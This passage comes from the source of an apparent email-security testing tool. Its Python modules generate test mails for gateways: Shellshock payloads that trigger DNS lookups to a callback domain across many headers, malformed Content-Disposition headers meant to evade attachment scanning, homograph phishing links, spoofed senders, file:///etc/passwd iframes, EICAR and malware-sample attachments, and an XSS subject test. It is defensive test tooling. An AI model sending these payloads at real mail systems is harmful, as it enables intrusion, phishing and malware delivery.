MIMEApplication(compressor(f_tar.getvalue()), mime_subtype) 87 | attachment.add_header("Content-Disposition", "attachment", filename=tar_name + suffix) 88 | yield desc + ", " + comp_desc, attachment 89 | f_tar.close() 90 | f_exe.close() 91 | 92 | # Further compression formats 93 | for comp_desc, suffix, mime_subtype, compressor in self.compression: 94 | attachment = MIMEApplication(compressor(self.exe_content), mime_subtype) 95 | attachment.add_header("Content-Disposition", "attachment", filename=self.exe_name + suffix) 96 | yield comp_desc, attachment 97 | -------------------------------------------------------------------------------- /tests/discovery.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pkgutil 3 | import importlib 4 | from .base import MailTestBase 5 | from .evasion import BaseEvasionFactory 6 | 7 | def get_active_classes(base_class): 8 | """Search package for active classes derived from given base class""" 9 | path = os.path.dirname(__file__) 10 | classes = list() 11 | for finder, name, ispkg in pkgutil.iter_modules([ path ]): 12 | module = importlib.import_module("." + name, __package__) 13 | for name, cls in vars(module).items(): 14 | if type(cls) == type and issubclass(cls, base_class) and cls.active: 15 | classes.append(cls) 16 | return classes 17 | 18 | def get_tests(): 19 | """Return list of active test classes""" 20 | return get_active_classes(MailTestBase) 21 | 22 | def get_evasions(): 23 | """Return list of active evasion classes""" 24 | return get_active_classes(BaseEvasionFactory) 25 | -------------------------------------------------------------------------------- /tests/empty.py: -------------------------------------------------------------------------------- 1 | # Empty and almost empty mails 2 | 3 | from .base import MailTestBase 4 | from email.mime.text import MIMEText 5 | from email.message import Message 6 | 7 | class EmptyMailTest(MailTestBase): 8 | active = True 9 | identifier = "empty" 10 | name = "Empty Mail" 11 | description = "Minimail mail without any content" 12 | 13 | def generateTestCases(self): 14 | # Entirely empty message 15 | msg = Message() 16 | yield msg 17 | 18 | # Non-MIME message with subject 19 | msg = Message() 20 | msg["Subject"] = "" 21 | yield msg 22 | 23 | # Empty MIME text without subject 24 | msg = MIMEText("") 25 | yield msg 26 | 27 | # Empty MIME text with empty subject 28 | msg = MIMEText("") 29 | msg["Subject"] = "" 30 | yield msg 31 | 32 | class TotallyEmptyMailTest(EmptyMailTest): 33 | identifier = "totally_empty" 34 | name = "Totally Empty Mail" 35 | description = "Empty mails without sender and recipient information" 36 | delivery_sender = True 37 | delivery_recipient = True 38 | 39 | def finalizeMessage(self, msg): 40 | return msg 41 | 42 | class AlmostEmptyMailTest(MailTestBase): 43 | active = True 44 | identifier = "almost_empty" 45 | name = "Almost Empty Mail" 46 | description = "Minimail mail without any content but with subject" 47 | 48 | subject = "Mail without content" 49 | 50 | def generateTestCases(self): 51 | msg = MIMEText("") 52 | msg["Subject"] = self.subject 53 | yield msg 54 | -------------------------------------------------------------------------------- /tests/evasion.py: -------------------------------------------------------------------------------- 1 | # Evasion techniques 2 | 3 | # Base classes 4 | 5 | class BaseEvasion(object): 6 | """ 7 | Base evasion class. This should be instantiated by a evasion factory class derived from BaseEvasionFactory. 8 | """ 9 | def __init__(self, msg, *args, **kwargs): 10 | self.msg = msg 11 | self.args = args 12 | self.kwargs = kwargs 13 | 14 | def generate(self): 15 | """Yield manipulations of MIME part""" 16 | yield self.msg 17 | 18 | class BaseEvasionFactory(object): 19 | """ 20 | Base factory class for evasion modules. This is instantiated on mail tester invocation with a parameter 21 | that determines if evasion should be active. Depending on this, the method getEvasionGenerator() returns an 22 | evasion class or one that yields default changes to a MIME part. 23 | """ 24 | active = False 25 | identifier = "evasion_base" 26 | name = "Evasion Base Class" 27 | description = "Implements base of an evasion factory class." 28 | generator_evasion = BaseEvasion # Instantiated if evasion is enabled 29 | generator_default = BaseEvasion # Instantiated if evasion is disabled 30 | 31 | def __init__(self, enabled): 32 | if enabled: 33 | self.generator_class = self.generator_evasion 34 | else: 35 | self.generator_class = self.generator_default 36 | 37 | def getEvasionGenerator(self, *args, **kwargs): 38 | """ 39 | Returns a evasion class instance according to the test configuration. Arguments are passed to the 40 | evasion class constructor. 41 | """ 42 | return self.generator_class(*args, **kwargs) 43 | 44 | # Content-Disposition header evasion 45 | # Try to evade security components by intentionally broken Content-Disposition headers of MIME attachment parts. 46 | # Previous research has shown that some security appliances don't recognize attachments with broken 47 | # Content-Disposition header. 48 | 49 | class ContentDispositionEvasionBase(BaseEvasion): 50 | """Base class for Content-Disposition generation""" 51 | content_disposition_headers = () # list of elements (description, arg, **kwargs) that will be passed to Message.add_header() after the "Content-Disposition" header name 52 | 53 | def __init__(self, attachment, filename): 54 | super().__init__(attachment, filename) 55 | self.filename = filename 56 | 57 | def generate(self): 58 | for desc, arg, kwargs in self.content_disposition_headers: 59 | del self.msg["Content-Disposition"] 60 | self.msg.add_header( 61 | "Content-Disposition", 62 | arg.format(self.filename), 63 | **{ key: value.format(self.filename) 64 | for key, value in kwargs.items() 65 | } 66 | ) 67 | yield desc, self.msg 68 | 69 | class ContentDispositionDefault(ContentDispositionEvasionBase): 70 | """Returns MIME part with proper Content-Disposition header""" 71 | content_disposition_headers = ( 72 | ("", "attachment", { "filename": "{}" }), 73 | ) 74 | 75 | class ContentDispositionEvasion(ContentDispositionEvasionBase): 76 | """Return MIME parts with evasion attempts for the Content-Disposition header""" 77 | content_disposition_headers = ContentDispositionDefault.content_disposition_headers + ( 78 | ("Filename with single quotes", "attachment; filename='{}'", {}), 79 | ("Filename without quotes", "attachment; filename={}", {}), 80 | ("Empty filename", "attachment", { "filename": "" }), 81 | ("Without filename", "attachment", {}), 82 | ("Double filename, harmless first", "attachment; filename=\"harmless.txt\"; filename=\"{}\"", {}), 83 | ("Double filename, harmless last", "attachment; filename=\"{}\"; filename=\"harmless.txt\"", {}), 84 | ("Inline without filename", "inline", {}), 85 | ("Inline with filename", "inline", { "filename": "{}" }), 86 | ) 87 | 88 | class ContentDispositionEvasionFactory(BaseEvasionFactory): 89 | active = True 90 | identifier = "content_disposition" 91 | name = "Content-Disposition Header Variation" 92 | description = "Try to evade attachment recognition by intentionally broken MIME Content-Disposition headers" 93 | generator_evasion = ContentDispositionEvasion 94 | generator_default = ContentDispositionDefault 95 | -------------------------------------------------------------------------------- /tests/exploits.py: -------------------------------------------------------------------------------- 1 | from .base import MailTestBase 2 | from email.mime.text import MIMEText 3 | from email.message import Message 4 | 5 | class ShellshockTest(MailTestBase): 6 | active = True 7 | identifier = "exploit-shellshock" 8 | name = "Shellshock Exploit" 9 | description = "Shellshock exploit in various headers and other locations" 10 | delivery_sender = True # Test case 'Resent-Date' fails otherwise 11 | 12 | shellshock = "() { :; }; " # Shellshock trigger payload 13 | commands = ( # Commands that should be executed. The place holder is replaced with the callback domain name 14 | "nslookup {}", 15 | "dig {}", 16 | "ping {}", 17 | ) 18 | headers_list = ( # source: https://www.iana.org/assignments/message-headers/message-headers.xml 19 | "Accept-Language", 20 | "Alternate-Recipient", 21 | "Archived-At", 22 | "Authentication-Results", 23 | "Auto-Submitted", 24 | "Autoforwarded", 25 | "Autosubmitted", 26 | "Bcc", 27 | "Cc", 28 | "Comments", 29 | "Content-Identifier", 30 | "Content-Return", 31 | "Conversion", 32 | "Conversion-With-Loss", 33 | "DL-Expansion-History", 34 | "Date", 35 | "Deferred-Delivery", 36 | "Delivery-Date", 37 | "Discarded-X400-IPMS-Extensions", 38 | "Discarded-X400-MTS-Extensions", 39 | "Disclose-Recipients", 40 | "Disposition-Notification-Options", 41 | "Disposition-Notification-To", 42 | "DKIM-Signature", 43 | "Downgraded-Bcc", 44 | "Downgraded-Cc", 45 | "Downgraded-Disposition-Notification-To", 46 | "Downgraded-Final-Recipient", 47 | "Downgraded-From", 48 | "Downgraded-In-Reply-To", 49 | "Downgraded-Mail-From", 50 | "Downgraded-Message-Id", 51 | "Downgraded-Original-Recipient", 52 | "Downgraded-Rcpt-To", 53 | "Downgraded-References", 54 | "Downgraded-Reply-To", 55 | "Downgraded-Resent-Bcc", 56 | "Downgraded-Resent-Cc", 57 | "Downgraded-Resent-From", 58 | "Downgraded-Resent-Reply-To", 59 | "Downgraded-Resent-Sender", 60 | "Downgraded-Resent-To", 61 | "Downgraded-Return-Path", 62 | "Downgraded-Sender", 63 | "Downgraded-To", 64 | "Encoding", 65 | "Encrypted", 66 | "Expires", 67 | "Expiry-Date", 68 | "From", 69 | "Generate-Delivery-Report", 70 | "Importance", 71 | "In-Reply-To", 72 | "Incomplete-Copy", 73 | "Keywords", 74 | "Language", 75 | "Latest-Delivery-Time", 76 | "List-Archive", 77 | "List-Help", 78 | "List-ID", 79 | "List-Owner", 80 | "List-Post", 81 | "List-Subscribe", 82 | "List-Unsubscribe", 83 | "List-Unsubscribe-Post", 84 | "Message-Context", 85 | "Message-ID", 86 | "Message-Type", 87 | "MMHS-Exempted-Address", 88 | "MMHS-Extended-Authorisation-Info", 89 | "MMHS-Subject-Indicator-Codes", 90 | "MMHS-Handling-Instructions", 91 | "MMHS-Message-Instructions", 92 | "MMHS-Codress-Message-Indicator", 93 | "MMHS-Originator-Reference", 94 | "MMHS-Primary-Precedence", 95 | "MMHS-Copy-Precedence", 96 | "MMHS-Message-Type", 97 | "MMHS-Other-Recipients-Indicator-To", 98 | "MMHS-Other-Recipients-Indicator-CC", 99 | "MMHS-Acp127-Message-Identifier", 100 | "MMHS-Originator-PLAD", 101 | "MT-Priority", 102 | "Obsoletes", 103 | "Organization", 104 | "Original-Encoded-Information-Types", 105 | "Original-From", 106 | "Original-Message-ID", 107 | "Original-Recipient", 108 | "Originator-Return-Address", 109 | "Original-Subject", 110 | "PICS-Label", 111 | "Prevent-NonDelivery-Report", 112 | "Priority", 113 | "Received", 114 | "Received-SPF", 115 | "References", 116 | "Reply-By", 117 | "Reply-To", 118 | "Require-Recipient-Valid-Since", 119 | "Resent-Bcc", 120 | "Resent-Cc", 121 | "Resent-Date", 122 | "Resent-From", 123 | "Resent-Message-ID", 124 | "Resent-Reply-To", 125 | "Resent-Sender", 126 | "Resent-To", 127 | "Return-Path", 128 | "Sender", 129 | "Sensitivity", 130 | "Solicitation", 131 | "Subject", 132 | "Supersedes", 133 | "TLS-Report-Domain", 134 | "TLS-Report-Submitter", 135 | "To", 136 | "VBR-Info", 137 | "X400-Content-Identifier", 138 | "X400-Content-Return", 139 | "X400-Content-Type", 140 | "X400-MTS-Identifier", 141 | "X400-Originator", 142 | "X400-Received", 143 | "X400-Recipients", 144 | "X400-Trace", 145 | "Apparently-To", 146 | "ARC-Authentication-Results", 147 | "ARC-Message-Signature", 148 | "ARC-Seal", 149 | "EDIINT-Features", 150 | "Eesst-Version", 151 | "Errors-To", 152 | "Form-Sub", 153 | "Jabber-ID", 154 | "MMHS-Authorizing-Users", 155 | "Privicon", 156 | "SIO-Label", 157 | "SIO-Label-History", 158 | "X-Archived-At", 159 | "X-Mittente", 160 | "X-Ricevuta", 161 | "X-Riferimento-Message-ID", 162 | "X-TipoRicevuta", 163 | "X-Trasporto", 164 | "X-VerificaSicurezza", 165 | ) 166 | 167 | def __init__(self, *args, **kwargs): 168 | super().__init__(*args, **kwargs) 169 | self.backconnect = self.args.backconnect_domain 170 | 171 | def generateTestCases(self): 172 | # shellshock as mime text iterating all header fields 173 | for header in self.headers_list: 174 | for command in self.commands: 175 | msg = MIMEText("Shellshock") 176 | msg["Subject"] = "Shellshock - Header '{}' - Command {}".format(header, command.format("")) 177 | msg[header] = self.shellshock + command.format(self.backconnect) 178 | yield msg 179 | 180 | # shellshock in content-type and body 181 | # Content-Type: text/() { :; }; nslookup test.de; charset="us-ascii" 182 | for command in self.commands: 183 | payload = self.shellshock + command.format(self.backconnect) 184 | msg = MIMEText(payload, payload) 185 | msg["Subject"] = "Shellshock in Content Type and Body" 186 | yield msg 187 | -------------------------------------------------------------------------------- /tests/iframe.py: -------------------------------------------------------------------------------- 1 | # Frames in mails 2 | 3 | from email.mime.text import MIMEText 4 | from textwrap import dedent 5 | from .base import MailTestBase 6 | 7 | class IFrameMailTest(MailTestBase): 8 | active = True 9 | identifier = "iframe" 10 | name = "HTML with frames" 11 | description = "HTML mails containing iFrames with different targets" 12 | 13 | subject = "Testmail with frame - {}" 14 | targets = ( 15 | ("HTTPS URL", "https://www.thyssenkrupp.com"), 16 | ("about:blank URL", "about:blank"), 17 | ("File URL", "file:///etc/passwd"), 18 | ("Data URL", "data:text/plain;charset=utf-8;base64,Q29udGVudCBmcm9tIGRhdGEgVVJM"), 19 | ) 20 | 21 | def generateTestCases(self): 22 | for desc, target in self.targets: 23 | html = dedent(""" 24 | 25 | 26 | 27 | 28 | 29 | """.format(target)) 30 | msg = MIMEText(html, "html") 31 | msg["Subject"] = self.subject.format(desc) 32 | yield msg 33 | -------------------------------------------------------------------------------- /tests/impostor.py: -------------------------------------------------------------------------------- 1 | # Impostor protection tests 2 | 3 | from email.mime.text import MIMEText 4 | from textwrap import dedent 5 | from .base import MailTestBase 6 | 7 | class KnownBadReplyToTest(MailTestBase): 8 | active = True 9 | identifier = "bad_replyto" 10 | name = "Bad Reply-To addresses" 11 | description = "Known bad reply to domains" 12 | 13 | subject = "Bad Reply-To - {}" 14 | reply_to = "impostor@{}" 15 | bad_domains = ( 16 | "secureserver.net", 17 | "gmail.com" 18 | ) 19 | 20 | def generateTestCases(self): 21 | for domain in self.bad_domains: 22 | msg = MIMEText("Bad Reply-To test mail") 23 | msg["Reply-To"] = self.reply_to.format(domain) 24 | msg["Subject"] = self.subject.format(domain) 25 | yield msg 26 | 27 | class HomographAttackTestBase(MailTestBase): 28 | active = False 29 | identifier = "homograph-base" 30 | name = "Homograph attacks" 31 | description = "Obfuscation of faked domains by IDN homographs" 32 | 33 | homograph_domains = ( 34 | ("plain cyrillic e", "thyssєnkrupp.com"), 35 | ("Punycode cyrillic e", "xn--thyssnkrupp-fvj.com"), 36 | ("Plain cyrillic o", "gооgle.com"), 37 | ("Punycode cyrillic o", "xn--ggle-55da.com"), 38 | ) 39 | 40 | class HTMLLinkHomographAttackTest(HomographAttackTestBase): 41 | active = True 42 | identifier = "homograph-link" 43 | name = "HTML link URL homograph attacks" 44 | description = "Obfuscation of faked domains by IDN homographs in HTML link" 45 | 46 | subject = "Homograph HTML Link - {}" 47 | 48 | def generateTestCases(self): 49 | for desc, domain in self.homograph_domains: 50 | html = dedent(""" 51 | 52 | 53 | Please login here. 54 | 55 | 56 | """.format(domain)) 57 | msg = MIMEText(html, "html") 58 | msg["Subject"] = self.subject.format(desc) 59 | yield msg 60 | 61 | class SenderHomographAttackTest(HomographAttackTestBase): 62 | active = True 63 | identifier = "homograph-sender" 64 | name = "Sender address homograph attacks" 65 | description = "Obfuscation of faked domains by IDN homographs in sender address" 66 | 67 | subject = "Homograph sender address - {}" 68 | hsender = "impostor@{}" 69 | 70 | def generateTestCases(self): 71 | for desc, domain in self.homograph_domains: 72 | msg = MIMEText("This is a test mail.") 73 | msg["Subject"] = self.subject.format(desc) 74 | msg["From"] = self.hsender.format(domain) 75 | yield msg 76 | 77 | class SenderHomographAttackwithSMTPDialogTest(SenderHomographAttackTest): 78 | active = True 79 | identifier = "homograph-sender-smtp" 80 | name = "Sender address homograph attacks" 81 | description = "Obfuscation of faked domains by IDN homographs in sender address with explicit sender in SMTP dialog" 82 | delivery_sender = True 83 | 84 | class LocalSenderTest(MailTestBase): 85 | active = True 86 | identifier = "sender_spoofing" 87 | name = "Spoofed Sender Address" 88 | description = "Mail with internal sender address sent from the Internet" 89 | 90 | subject = "Spoofed Sender" 91 | body = "This is s test mail with spoofed sender address" 92 | 93 | def generateTestCases(self): 94 | if self.args.spoofed_sender is None: 95 | spoofed_sender = self.recipient 96 | else: 97 | spoofed_sender = self.args.spoofed_sender 98 | 99 | msg = MIMEText(self.body) 100 | msg["Subject"] = self.subject 101 | msg["From"] = spoofed_sender 102 | yield msg 103 | -------------------------------------------------------------------------------- /tests/malware.py: -------------------------------------------------------------------------------- 1 | # Malware recognition tests 2 | 3 | from pathlib import Path 4 | from email.mime.application import MIMEApplication 5 | from .base import MailAttachmentTestBase 6 | 7 | class EICARMalwareTest(MailAttachmentTestBase): 8 | active = True 9 | identifier = "eicar" 10 | name = "EICAR Test File" 11 | description = "Attach EICAR test file" 12 | subject = "EICAR - {}" 13 | extensions = ("com", "exe", "txt", "html") 14 | file_name = "eicar.{}" 15 | file_content = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" 16 | 17 | def generateAttachments(self): 18 | for extension in self.extensions: 19 | attachment = MIMEApplication(self.file_content) 20 | attachment.add_header("Content-Disposition", "attachment", filename=self.file_name.format(extension)) 21 | final_attachments = self.evasions["content_disposition"].getEvasionGenerator(attachment, self.file_name.format(extension)) 22 | for ev_desc, final_attachment in final_attachments.generate(): 23 | yield "{} {}".format(extension, ev_desc), final_attachment 24 | 25 | class MalwareSamplesAttachmentTest(MailAttachmentTestBase): 26 | active = True 27 | identifier = "malware" 28 | name = "Malware Samples" 29 | description = "Send malware sample files as attachments from folders given by --malware-folder parameter" 30 | subject = "Malware - {}" 31 | 32 | def generateAttachments(self): 33 | for folder in self.args.malware_folder: 34 | for sample in Path(folder).iterdir(): 35 | attachment = MIMEApplication(sample.read_bytes()) 36 | final_attachments = self.evasions["content_disposition"].getEvasionGenerator(attachment, sample.name) 37 | for ev_desc, final_attachment in final_attachments.generate(): 38 | yield "{} {}".format(sample.name, ev_desc), final_attachment 39 | -------------------------------------------------------------------------------- /tests/spam.py: -------------------------------------------------------------------------------- 1 | # Spam mails from folder with EMLs 2 | 3 | from pathlib import Path 4 | from email import message_from_bytes 5 | from .base import MailTestBase 6 | 7 | class SpamMailTest(MailTestBase): 8 | active = True 9 | identifier = "spam" 10 | name = "Spam Mails" 11 | description = "Spam messages (.eml) from folders given by --spam-folder parameter" 12 | 13 | def generateTestCases(self): 14 | for folder in self.args.spam_folder: 15 | for eml in Path(folder).glob("*.eml"): 16 | try: 17 | msg = message_from_bytes(eml.read_bytes()) 18 | except IOError: 19 | print("! Failed to read from {}".format(eml.name)) 20 | 21 | del msg["To"] 22 | 23 | yield msg 24 | -------------------------------------------------------------------------------- /tests/spf.py: -------------------------------------------------------------------------------- 1 | # SPF Tests, sending from domains that have strict SPF records with high probability 2 | 3 | from .base import MailTestBase 4 | from email.mime.text import MIMEText 5 | 6 | class SPFMailTest(MailTestBase): 7 | active = True 8 | identifier = "spf" 9 | name = "Spoofed SPF-enabled domain" 10 | description = "Mails spoofed from domains with valid SPF configuration" 11 | 12 | domains = ( 13 | "gmail.com", 14 | "microsoft.com", 15 | "facebook.com" 16 | ) 17 | spoofed_sender = "spf-test@{}" 18 | subject = "SPF Check - {}" 19 | 20 | def generateTestCases(self): 21 | for domain in self.domains: 22 | msg = MIMEText("This is a SPF verification check.") 23 | msg["Subject"] = self.subject.format(domain) 24 | msg["From"] = self.spoofed_sender.format(domain) 25 | yield msg 26 | -------------------------------------------------------------------------------- /tests/xss.py: -------------------------------------------------------------------------------- 1 | # Cross-site scripting test cases 2 | 3 | from email.mime.text import MIMEText 4 | from .base import MailTestBase 5 | 6 | class SubjectXSSTest(MailTestBase): 7 | active = True 8 | identifier = "xss-subject" 9 | name = "XSS in mail subjects" 10 | description = "Attempting XSS in subjects for discovery of issues in web interfaces" 11 | 12 | subject = "Subject XSS Test: " 13 | text = "This is a test mail with XSS payload in the subject." 14 | 15 | def generateTestCases(self): 16 | msg = MIMEText(self.text) 17 | msg["Subject"] = self.subject.format(self.args.backconnect_domain) 18 | yield msg 19 | --------------------------------------------------------------------------------